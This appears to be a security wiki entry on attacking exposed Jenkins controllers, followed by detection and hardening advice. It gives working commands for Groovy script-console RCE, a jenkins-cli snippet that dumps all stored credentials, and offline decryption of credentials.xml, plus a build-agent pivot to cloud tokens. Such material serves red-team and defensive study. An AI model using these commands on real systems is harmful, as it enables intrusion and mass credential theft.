Jenkins Attack Paths — Script Console to Master Key
TL;DR: Exposed Jenkins controllers leak Groovy RCE via
/script, decryptablecredentials.xml, and build-node pivots that turn one weak controller into multi-cloud compromise.
What it is
Jenkins is the canonical CI orchestrator and a chronic source of breaches: misconfigured anonymous access, weak agent-to-controller auth, and reversible secret storage. Real incidents include Codecov-adjacent CI raids and the 2023 Confluence-Jenkins chain at multiple SaaS vendors where a Groovy one-liner exfiltrated cloud keys.
Preconditions / where it applies
- Jenkins controller reachable on 8080/8443 with anonymous “Overall/Read” or “Overall/Administer”
- Or low-priv user with “Job/Configure” on a freestyle/pipeline job
- Filesystem read of
$JENKINS_HOME(via RCE, backup leak, or container escape) for offline credential decryption
Technique
Anonymous Groovy console RCE when /script is exposed:
1
2
curl -u anon: -X POST "https://jenkins.target.tld/script" \
--data-urlencode 'script=println "id".execute().text'
Authenticated abuse via jenkins-cli over JNLP/HTTP:
1
2
3
4
5
6
7
curl -O https://jenkins.target.tld/jnlpJars/jenkins-cli.jar
java -jar jenkins-cli.jar -s https://jenkins.target.tld/ \
-auth user:apitoken groovy = <<'EOF'
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class)
creds.each { println "${it.id} :: ${it.properties}" }
EOF
Offline decryption from a stolen $JENKINS_HOME:
1
2
3
4
5
# Combine master.key + hudson.util.Secret to recover AES key, then decrypt
python3 jenkins_decrypt.py \
--master secrets/master.key \
--secret secrets/hudson.util.Secret \
--creds credentials.xml
Build-node pivot: schedule a job pinned to a labelled agent (agent { label 'prod-deploy' }) so the controller hands you a shell on a node that already holds AWS instance-role or kube service-account tokens.
Detection and defence
- Disable
/scriptfor non-admins; sethudson.model.DirectoryBrowserSupport.CSPand remove anonymous “Overall/Read” - Force matrix auth, SSO (SAML/OIDC), and per-folder credential scoping; rotate
master.keyon suspicion - Ship
audit-trailplugin logs and Groovy execution events to SIEM; alert onRunScriptCommandandlookupCredentialscalls - Use ephemeral agents (Kubernetes plugin) so node compromise dies with the pod; bind cloud creds via OIDC, not static tokens
References
- Jenkins Security Advisories — canonical CVE feed
- Jenkins Hardening Guide — official baseline
See also: ci-cd-as-cloud-attack-surface, gha-oidc-sub-claim-wildcards, terraform-state-extraction.